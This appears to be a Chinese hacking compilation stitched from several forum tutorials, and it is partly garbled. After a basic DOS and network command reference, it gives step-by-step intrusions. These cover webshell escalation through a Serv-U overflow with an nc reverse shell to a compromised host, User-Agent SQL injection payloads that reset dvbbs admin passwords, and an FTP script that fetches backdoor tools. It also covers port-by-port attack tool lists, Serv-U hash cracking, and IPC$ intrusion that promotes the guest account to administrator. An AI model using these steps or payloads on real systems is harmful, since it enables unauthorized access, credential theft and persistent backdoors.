一、基础命令
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“/”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cdabcdef.ghi进入该目录。
cd/ 退回到根目录。
cd..退回到上一级目录。
3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。呵呵!)
rd 目录名:删除特定的文件夹。
4 cls
清除屏幕。
5 copy
copy 路径/文件名 路径/文件名 :把一个文件拷贝到另一个地方。
6 move
move 路径/文件名 路径/文件名 :把一个文件移动(就是剪切+复制)到另
一个地方。
7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。
8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。
9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。
10 type
type 文本文件名:显示出文本文件的内容。
11 edit
其实这是个小程序,编辑文本文件用的。
12 ren
ren 旧文件名 新文件名:改文件名。
二、关于网络的常用命令
1 ping
ping 主机ip或名字:向目标主机发送4个icmp数据包,测试对方主机是否收
到并响应,一般常用于做普通网络是否通畅的测试。但是ping不同不代表网
络不通,有可能是目标主机装有防火墙并且阻止了icmp响应。
ping -t :不停的发送数据包。当然都很小,不能称作攻击。有些人自己写
了一些类似于ping命令的程序,不停的发送很大的数据包,以阻塞目标主机
的网络连接。
2 net
建议是用net /?获取具体帮助信息。实在是有很多参数,参数下面还有参
数。常用:net view //主机 来看共享,net start/stop 服务 来启动和停
止服务,信使服务个人不太喜欢。
3 netstat
netstat 主机:查看主机当前的tcp/ip连接状态,如端口的状态。
4 nbtstat
nbtstat 主机:查看主机使用的NetBIOS name。
5 tracert
tracert 主机:查看从你自己到目标逐机到底经过了那些路径。如:
tracert www.ncie.gov.cn 然后等待。。。就会看到你经过的一个个路由节
点,一般大一点的路由器,如电信的主干路由,除了ip以外,都有英文标示
的。
6 pathping
pathping 主机:类似tracert,但可以显示一些tracert不能显示出来的信
息。可以自己试试。
7 ftp
字符方式的ftp,我喜欢用;)不用装cuteftp了。
8 telnet
字符方式的远程登录程序,是网络人员极其爱用的远程登录程序。我最近常
用来调试邮件服务器。
9 ipconfig 非常有用的网络配置、排错。。。命令。
不加参数显示当前机器的网络接口状态。
/all 先是详细的信息。
/release 释放当前ip。
/renew 重新申请ip。
/flushdns 刷新dns缓存。
/registerdns 重新栽dns服务器上注册自己。
。。。。。。
10 arp 操作当前的arp缓存。
-a 显示arp缓存。
-d 删除一条缓存纪录。
-s 田家一条缓存纪录。
11 nslookup 排除dns错误的利器。是一个交互的工具。使用之前请先努力弄清楚dns的作用以及dns的工作原理。
xcopy是一个外部命令,也就是说,是一个小程序,有的时候会发现软盘上没有,硬盘上也没有。。。昏倒。。。当然勇气来使比copy好用,我喜欢加/e参数。
smartdrv.exe 加载磁盘缓存,参数是缓存的大小,单位是kb。
如:smartdrv 32768 就是加载32M的缓存。
缓存的作用在你安装WIN2K的时候非常明显!不加缓存装WIN2K PRO要3小时左右,加载8M缓存后,只要30分钟。
原理是在内存中划分出一块区域,在安装期间不断地把硬盘上的数据读取到那块缓存区域中,充分利用了内存。
AT和任务计划作用一样。
以下是使用方法,可以通过在命令提示符下面输入:AT /?获得帮助。
AT 命令安排在特定日期和时间运行命令和程序。
要使用 AT 命令,计划服务必须已在运行中。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AT [//computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [//computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
//computername 指定远程计算机。 如果省略这个参数,会计划在本地计算机上运行命令。
//127.0.0.1代表本机。和不加这个参数意思一样。
id 指定给已计划命令的识别号。
用来识别任务,比如你要添加好几个任务,ID=1就代表第一个喽!
/delete 删除某个已计划的命令。如果省略 id,
计算机上所有已计划的命令都会被删除。
/yes 不需要进一步确认时,跟删除所有作业
的命令一起使用。
time 指定运行命令的时间。
/interactive 允许作业在运行时,与当时登录的用户
桌面进行交互。
/every:date[,...] 每个月或每个星期在指定的日期运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期(如,下周四)运行命令。
如果省略日期,则默认为在每月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理程序。
本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。
废话少说,咱们进入正题。
首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。
测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。
思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。
传上了srv.exe和nc.exe在H:/long/sun***/lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D:/Documents and Settings/All Users/是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。
可以浏览D:/program files/serv-u/ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。
不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:/,运行 srv.exe “nc.exe –e cmd.exe 202.*.*.* 888”,这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。
我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)
高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:/long/sun***/lemon,再用刚才nc得到的shell把它们copy到d:/winnt/system32/下,分别运行:r_server /install , net start r_server , r_server /pass:rain /save 。
一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:/program files/serv-u/里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)
不管了,我们重启serv-u就ok了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:/program files/serv-u/ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。
好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:
ftp>quote site exec net user xr rain /add
在webshell上运行net user,就可以看见添加成功了。
整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。
前一段时间动网论坛的头像上传的漏洞给各大使用dvbbs论坛的网站带来难以愈合的创伤,这个漏洞甚至危及到了sp2的版本。为了解决这个问题,沙滩小子可能也耗尽了心血吧。但是动网论坛至此就真的安全了吗?回答是否定的,这不是在htt_user_agent变量上面有出现了漏洞吗,欲知详情,请听我慢慢道来。
漏洞文件:inc/dv_clsmain.asp
测试环境: dvbbs7.0.0+mssql
dvbbs7.0.0+sp1+mssql
dvbbs7.0.0+sp2+mssql
服务器os:windows 2000 advanced server
发现漏洞
n.e.v.e.r曾经发布了dvbbs6.x中关于http_user_agent变量过滤不严所造成的注入漏洞,我开始的时候以为这次在dvbbs7.0应该过滤了吧。但是在看过代码以后证明我的想法是错误的,只要经过巧妙的构造就可以实现对使用mssql数据库的论坛实现注入。还是让我们先来看一下出现漏洞的代码吧。
dvbbs7.0.0&dvbbs7.0.0+sp1中的inc/dv_clsmain.asp文件第1745-1755行为:
agent=request.servervariables("http_user_agent")
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
dim tmpstr
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
end if
dvbbs7.0.0+sp2中的inc/dv_clsmain.asp文件第1919-1938行为:
agent=request.servervariables("http_user_agent")
'agent="opera/7.23 (x11; linux i686; u) [en]"
if left(agent,7) ="mozilla" then '有此标识为浏览器
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
elseif instr(agent(4),"rv:")>0 then
browser="mozilla "
tmpstr=split(agent(4),":")
version=tmpstr(ubound(tmpstr))
if instr(version,")") > 0 then
tmpstr=split(version,")")
version=tmpstr(0)
end if
end if
这两段代码是在class cls_browser的一部分用来判断用户的浏览器类型及版本的。然而在这两段代码中都存在相同的问题,即当agent(4)的值中包含netscape时便不会经过任何过滤,直接将字符串的值返回给version变量,但是这能有什么作用呢?接着再往下看。
在这个文件中的useractiveonline函数中(三个版本的内容相同)的部分代码为:
dim statuserid
statuserid = session(cachename & "userid")(0)
sql = "select id,boardid from [dv_online] where id = " & ccur(statuserid)
set rs = execute(sql)
if rs.eof and rs.bof then
if cint(forum_setting(36)) = 0 then
actcome = ""
else
actcome = address(uip)
end if
set browsertype=new cls_browser
sql = "insert into [dv_online](id,username,userclass,ip,startime,lastimebk,boardid,browser,stats,usergroupid,actcome,userhidden) values (" & statuserid & ",'客人','客人','" & usertrueip & "'," & sqlnowstring & "," & sqlnowstring & "," & boardid & ",'" & browsertype.platform&"|"&browsertype.browser&browsertype.version & "','" & replace(left(stats,250),"'","") & "',7,'" & actcome & "'," & userhidden & ")"
'更新缓存总在线数据
myboardonline.forum_online=myboardonline.forum_online+1
name="forum_online"
value=myboardonline.forum_online
set browsertype=nothing
else
sql = "update [dv_online] set lastimebk = " & sqlnowstring & ",boardid = " & boardid & ",stats = '" & replace(stats,"'","") & "' where id = " & ccur(statuserid)
end if
rs.close
set rs = nothing
execute(sql)
很显然从browsertype取得version的值以后也没有经过过滤就直接插入了sql变量的语句中调用execute函数执行数据库查询。在execute函数中有关语句过滤的代码为:
if instr(lcase(command),"dv_admin")>0 and left(scriptname,6)<> "admin_" then
response.write savesqllog(command,"")'翻译成英文
command=replace(lcase(command),"dv_admin","dv"&chr(95)&"admin")
end if
看出来了吧,只要我们的语句中没有dv_admin关键字就可以顺利通过了。
虽然已经把思路打通了,但是由于动网论坛中的防刷新机制的存在给我们的漏洞利用带来的很大的困难。但还是有办法解决的,还是一步一步来看我是怎么测试利用这个漏洞的吧。
小试牛刀
以sp1中的dv_clsmain.asp文件为例,在activeonline函数中第687行的
if datediff("s",reflashpagelasttime,now()) < 120 and lastvisiboardid = boardid then exit sub
是防刷新机制的关键语句,在初步测试的时候为了避免受到它的影响就先把它给注释掉。然后用wse对访问index.asp时的mime数据抓包,得到的数据为:
get /index.asp http/1.1
accept: */*
accept-language: zh-cn
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; .net clr 1.1.4322)
host: www.somesite.com
connection: keep-alive
cookie: dnetpubtemp=statuserid=2110913640; aspsessionidcqcbbscq=dmlbhjaajfofclflencdepgg
其中的user-agent的值便对应着代码中的request.servervariables("http_user_agent")的值,因此只要将user-agent构造为sql语句的话便可以实现对数据库的任意修改。
由于execute函数中过滤了dv_admin关键字,所以我们只好先修改前台管理员的密码了。将user-agent的值修改为:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1—netscape
然后用nc发送,nc运行结束以后再去看数据库的时候发现所有的前台管理员密码已经被修改成123,与此同时在dv_online表中也记录一条id=2110913640的数据,正如我们所想的,它的browser=’unknown|netscape’, stats=’hacker’。由此可见,通过构造user-agent的值进行注入是完全可以实现的。
防刷新问题的解决
刚才为了测试方便把防刷新的关键语句给注释了,那现在就把它给改回来。这样的话我们就面临着非常棘手的问题,由于我们的访问程序会在dv_online表中记录相应的访问数据,而只要这条数据存在的话就不会执行我们要跳转到可以注入的语句。因此只好等20分钟之后由于其他的用户访问而调用myboardonline.onlinequery过程将超时用户访问记录(包括我们刚才的访问记录)删除之后才可以再次进行欺骗注入。否则的话只会让我们的访问最后时间更新为当前值,而对其它数据没有任何影响。
每两次欺骗注入之间的时间间隔要20分钟!那么如果要向数据库写入木马的话还不要等到头发也白了。您也许会说,我是拨号上网的,只要重新拨号不就行了吗?当然可以了,不过即使这样对于我们来说是一件很痛苦的事。为了解决这个棘手的问题我们可以在修改数据库的同时将dv_online表中的所有记录全部删除,这样不就可以进行连续注入了吗。调整以后的user-agent的值为:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1 delete from dv_online—netscape
不信你测试一下,不管你在注入前数据库内有多少的用户访问记录,只要能够成功的欺骗成功不仅会将所有的前台管理员密码进行修改,而且还会将所有的用户访问记录删除得干干净净。
哈哈,现在我们不就可以随心所欲了吗,只要你能想到的,只要数据库用户有足够的权限。等一等,如果用户没有足够的权限怎么办,就是修改了前台管理员的密码又能怎么样。难道对后台管理员就真的束手无策了吗?不要急,请接着看。
突破execute过滤,向后台进军
由于在execute函数中过滤了dv_admin关键字,因此在使用sql查询语句的时候要避免它的出现。但是我们也不能就此放弃对dv_admin表的注入,否则的话不就前功尽弃了嘛。后来在《sql injection white paper》的启发下,我使用exec函数成功地解决了这个问题。如果将user-agent的值修改为:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) declare @a nvarchar(255) select @a='update dv_'+'admin set username=''firstsee'',password=''123''' exec(@a)—netscape
就可以成功的把dv_admin中的所有记录的username的值修改为firstsee,而password的值修改为123。在这个构造值中把dv_admin关键字进行了拆分,然后通过字符串的连接功能又组合成了一个完整的查询语句,只要在exec函数中执行连接后的字符串就可以实现与直接查询相同的效果。
由于在mssql数据库中的exec函数的使用也受到一定的限制,因此也只有具备了这一权限的情况下才可以使用欺骗注入的方法进行后台管理员账号和密码的修改。
总结
您也许已经想到了,如果把前台管理员密码修改的语句与后台的修改语句放在一起,只需要进行一次注入就可以了,这样不就不用再去管什么防刷新了吗?但是经过我的测试后发现,如果user-agent的值的长度过大就会失败。而且exec函数的使用也受到一定的限制,因此为了保证最大的成功率,将两句分开还是最佳的选择,即使后台管理员账号修改失败,前台管理员密码的修改也不会受到任何影响。
现在的动网论坛通过修改后台管理摄制的办法已经不能够再上传木马了,因此即使成功的得到了管理权限对服务企也只是望而兴叹,但如果能够结合我在黑防第6起上面发表的《把dvbbs拉下马》文章中的accesstopic.asp漏洞在具备了足够的权限下还是可以上传木马的。
由于这个漏洞涉及到的脚本内容比较多,利用起来也很费劲,所以我写了一个exploit,具体的使用方法见详细说明。
这篇文章由于时间仓促,难免出现纰漏。还望大家能够不吝指出。
通过serv-u漏洞入侵全过程
serv-u漏洞已经发布了好长一段时间了,不过好多菜鸟朋友还没有能够掌握,
而且现在通过这个漏洞还能找很多肉鸡的,现在我就通过演示给广大的菜鸟
朋友看一下怎么来得到权限、放置后门、打补丁的!
serv-u服务器的配置都不错的哦!
所需要的工具:ftpscan.exe,hotmail的ftp密码帐号扫描工具,
killftp.exe,ftp漏洞溢出程序
wineggdrop, 后门工具
3389.exe,开3389的工具
还有补丁程序,jay的,大家可以看帖子:
http://jdwl.net.cn/qfaq/forum_view.asp?forum_id=5&view_id=2875
其他程序大家可以去清风上去下载!
需要的操作系统:98、2000、xp、2003下都可以成功溢出,还有大家最好找一个
ftp空间,你可以用自己的肉鸡做,也可以去找一些免费的空间,这个不在本教程
的讨论范围之内!
现在我们先来扫一些ftp帐号,可写不可写的都可以,我们看看ftpscan的使用方法
FTPSCAN.EXE StartIP EndIP Port Threads [FileName]
ftpscan 开始ip 结束ip ftp端口(一般用21) 线程(看你的机器配置而定) 保存的
文件名
好了,我们先让他扫着,下面我们来配置我们的后门程序,我这里用wineggdrop
做演示,详细的配置操作请看作者的说明文件!
后门程序有加壳和未加壳版本,未加壳的版本大家可以自己加下壳,我这里为了
演示的方便就用加过壳的,未加壳的版本要先加壳后配置!
好了我们配置好了,下面我们来制作成自解压文件,为了方便我们的使用!
下面我们把我们所需要的工具上传到我们的ftp空间上!
好了,现在我们登陆肉鸡来看看扫描结果,OK,找到了几个,我们来溢出看看
在溢出之前我们先来看看killftp的使用方法!
Usage: killftp
killftp
killftp
第一个是直接溢出,也是我们经常要使用的方法,第二个是要下载文件后门程序
并执行,第三个是用反弹端口的方法,你要先用nc监听一个端口,这个在有防火墙
的时候特别有用!
我们来看看!
好了成功的溢出一台了,我们加帐号先,
0K,我们来上传我们的工具!
echo open 61.187.190.170 >ftp.txt
echo ceshi >>ftp.txt
echo tongtu >>ftp.txt
echo binary >>ftp.txt [可选]
echo get 3389.exe >>ftp.txt
echo get 2.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
这样我们就成功的上传了我们的工具,一个是我们的后门程序,一个是开3389的
那位说了wineggdrop也能开终端,为什么还要用3389.exe开呢?呵呵,这个是
个人习惯而已!
OK,看看我的操作!
好了,我们已经成功的给他开了终端和放置了后门,现在我们要上去给他打上补丁
顺便给他克隆一个帐号!
等待服务器的重起中!。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
服务器重起还是比较慢的!耐心的等待!
用wineggdrop开终端是不需要重起的哦!我们已经进来了!
这个就是我们的补丁程序,我们先用ftp上传上去
怎么样,现在这个肉鸡基本上就是你的了,是不是有些成功的喜悦呢?呵呵!
附件:serv-u.rar
SERV-U的目录文件结构说明
Servudaemon.exe serv-u的服务程序,主文件
Servudaemon.ini serv-u的配置文件,记录用户信息,服务器参数
Seruadmin.exe serv-u管理界面
Servuadmin.ini serv-u管理界面配置文件
Servutray.exe serv-u系统托盘程序
SERV-U配置文件例子
[GLOBAL]
Version=5.0.0.0
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722
ProcessID=1172
[DOMAINS]
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0
[Domain1]
User1=admin|1|0
[USER=admin|1]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
HomeDir=g:/
RelPaths=1
DiskQuota=1|153600000|0
SpeedLimitUp=5120
SpeedLimitDown=5120
TimeOut=600
Maintenance=System
Note1="Administrator User"
Access1=g:/|RWAMELCDP
SERV-U配置文件分析
配置文件对大小写不敏感
行与行之间允许空行
主要分为2段
[GLOBAL]
全局变量段
主要设置SERV-U的注册号,以及刷新标志
[DOMAINS]
域名配置段
包括在serv-u下添加的所有域信息以及域以下用户列表
#具体分析
[GLOBAL]
Version=5.0.0.0
#无需改动.版本号
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722
#无需改动.产品注册码
ProcessID=1172
#无需改动.注册号
ReloadSettings=True
#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加
[DOMAINS]
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0
#无需改动.新增加的域的IP地址以及说明.
# 格式
# Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除
#IP地址为0.0.0.0时,SERV-U自动适配系统所分配的IP地址
#当生效位置0,则此域禁用
#当显示位置0,此域不生效并且在控制面板不显示此项
#当删除位置0,则ReloadSettings设置为Ture后,即刷新后,自动删除此域名以下所有内容
[Domain1]
#无需改动.与上面添加的域对应.是此域内的一些公共设置
User1=admin|1|0
#必填.用户列表
# 格式
# User序号 = 用户名 | 是否生效 | 是否删除
#User添加时必须按照序号排列,如果跳号,则跳号的不生效.如果序号重复.则排列在后的无效.
#是否生效置0,则此用户禁用
#是否删除置1,则刷新后删除用户信息,包括配置. 如果置2,则域下所有用户均删除.
[USER=admin|1]
#用户配置段,这些段的排列不分先后
# 格式 [ USER=用户名 | 是否?120
TimeOut=600
Maintenance=System
Note1="Administrator User"
Access1=g:/|RWAMELCDP
SERV-U配置文件分析
配置文件对大小写不敏感
行与行之间允许空行
主要分为2段
[GLOBAL]
全局变量段
主要设置SERV-U的注册号,以及刷新标志
[DOMAINS]
域名配置段
包括在serv-u下添加的所有域信息以及域以下用户列表
#具体分析
[GLOBAL]
Version=5.0.0.0
#无需改动.版本号
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722
#无需改动.产品注册码
ProcessID=1172
#无需改动.注册号
ReloadSettings=True
#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加
[DOMAINS]
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0
#无需改动.新增加的域的IP地址以及说明.
# 格式
# Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除
#IP地址为0.0.0.0时,SERV-U自动适配系统所分配的IP地址
#当生效位置0,则此域禁用
#当显示位置0,此域不生效并且在控制面板不显示此项
#当删除位置0,则ReloadSettings设置为Ture后,即刷新后,自动删除此域名以下所有内容
[Domain1]
#无需改动.与上面添加的域对应.是此域内的一些公共设置
User1=admin|1|0
#必填.用户列表
# 格式
# User序号 = 用户名 | 是否生效 | 是否删除
#User添加时必须按照序号排列,如果跳号,则跳号的不生效.如果序号重复.则排列在后的无效.
#是否生效置0,则此用户禁用
#是否删除置1,则刷新后删除用户信息,包括配置. 如果置2,则域下所有用户均删除.
[USER=admin|1]
#用户配置段,这些段的排列不分先后
# 格式 [ USER=用户名 | 是否显示 ]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
#必填.密码.算法为随机产生2个字符,如hr.将hr+明文密码(如test)使用MD5加密,如MD5("hrtest"),生成密码后将所有小写字符变为大写
#在最前加上这两个随机字符"hr"+"1589A4F0334FDF55D52F26DFA2D3CCEB",生成最终密码
HomeDir=g:/
#必填.Home目录,用户登陆后的所在目录
RelPaths=1
#无需改动.锁定用户于Home目录,
DiskQuota=1|153600000|0
#必填.磁盘限额
# 格式 DiskQuota = 生效位 | 限制容量 | 实际使用量
#容量均以字节计算
SpeedLimitUp=5120
#可选.上传最大速度.以字节计算
SpeedLimitDown=5120
#可选.下载最大速度.以字节计算
TimeOut=600
#无需改动.超时,以秒计算,默认10分钟
Maintenance=System
#可选.用户权限,默认无此项
Note1="Administrator User"
#可选.注释.默认无此项
Access1=g:/|RWAMELCDP
#必填.对于目录的存储权限,默认权限为RWAMLCDP.权限排列无需按照顺序.
# 格式 Access序号 = 目录 | 权限
#R 读取
#W 写入
#A 附加
#M 修改
#E 执行--由于安全原因,所有帐号均不能开启此权限
#L 目录列表
#C 建立目录
#D 删除目录
#P 将权限继承给子目录
标准的serv-u用户配置段例
[Domain1]
User1=admin|1|0
User2=test|1|0
[USER=admin|1]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
HomeDir=g:/
RelPaths=1
DiskQuota=1|153600000|0
TimeOut=600
Access1=g:/|RWAMLCDP
[USER=test|1]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
HomeDir=f:/test
RelPaths=1
DiskQuota=1|153600000|0
TimeOut=600
Access1=f:/test|RWAMLCDP
. 1433端口入侵
scanport.exe 查有1433的机器
SQLScanPass.exe 进行字典暴破(字典是关键)
最后 SQLTools.exe入侵
=============================
对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
(以上反向的,测试成功)
sqlhelloz.exe 入侵ip 1433 (这个是正向连接)
2. 4899端口入侵
用4899过滤器.exe,扫描空口令的机器
3. 3899的入侵
对很早的机器,可以试试3389的溢出(win3389ex.exe)
对2000的机器,可以试试字典暴破。(tscrack.exe)
4. 80入侵
对sp3以前的机器,可以用webdav入侵;
对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe)
可以利用SQL进行注入。(小榕的注入软件)。
5. serv-u入侵(21端口)
对5. 004及以下系统,可用溢出入侵。(serv5004.exe)
对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)
======================================
对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs)
输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到
密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A
6. 554端口
用real554.exe入侵。
7. 6129端口
用DameWare6129.exe入侵。
8. 系统漏洞
利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞,
进行溢出入侵。
9. 3127等端口
可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。
10. 其他入侵
利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。
经典IPC$入侵
1. C:/>net use //127.0.0.1/IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运
气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连
接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名
,输入administrators,命令即可成功完成。
2. C:/>copy srv.exe //127.0.0.1/admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的
c:/winnt/system32/,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什
么地方去了)。
3. C:/>net time //127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
4. C:/>at //127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵
!)
5. C:/>net time //127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备
开始下面的命令。
6. C:/>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的
是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打
算建立一个Telnet服务!这就要用到ntlm了
7.C:/>copy ntlm.exe //127.0.0.1/admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:/WINNT/system32>ntlm
输入ntlm启动(这里的C:/WINNT/system32>指的是对方计算机,运行ntlm其实是让这
个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使
用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作
一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:/>net user guest /active:yes
将对方的Guest用户激活
11. C:/>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:/>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我
们可以用guest再次访问这台计算机)
/r/n", 13);/r/n", 17);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "/r/n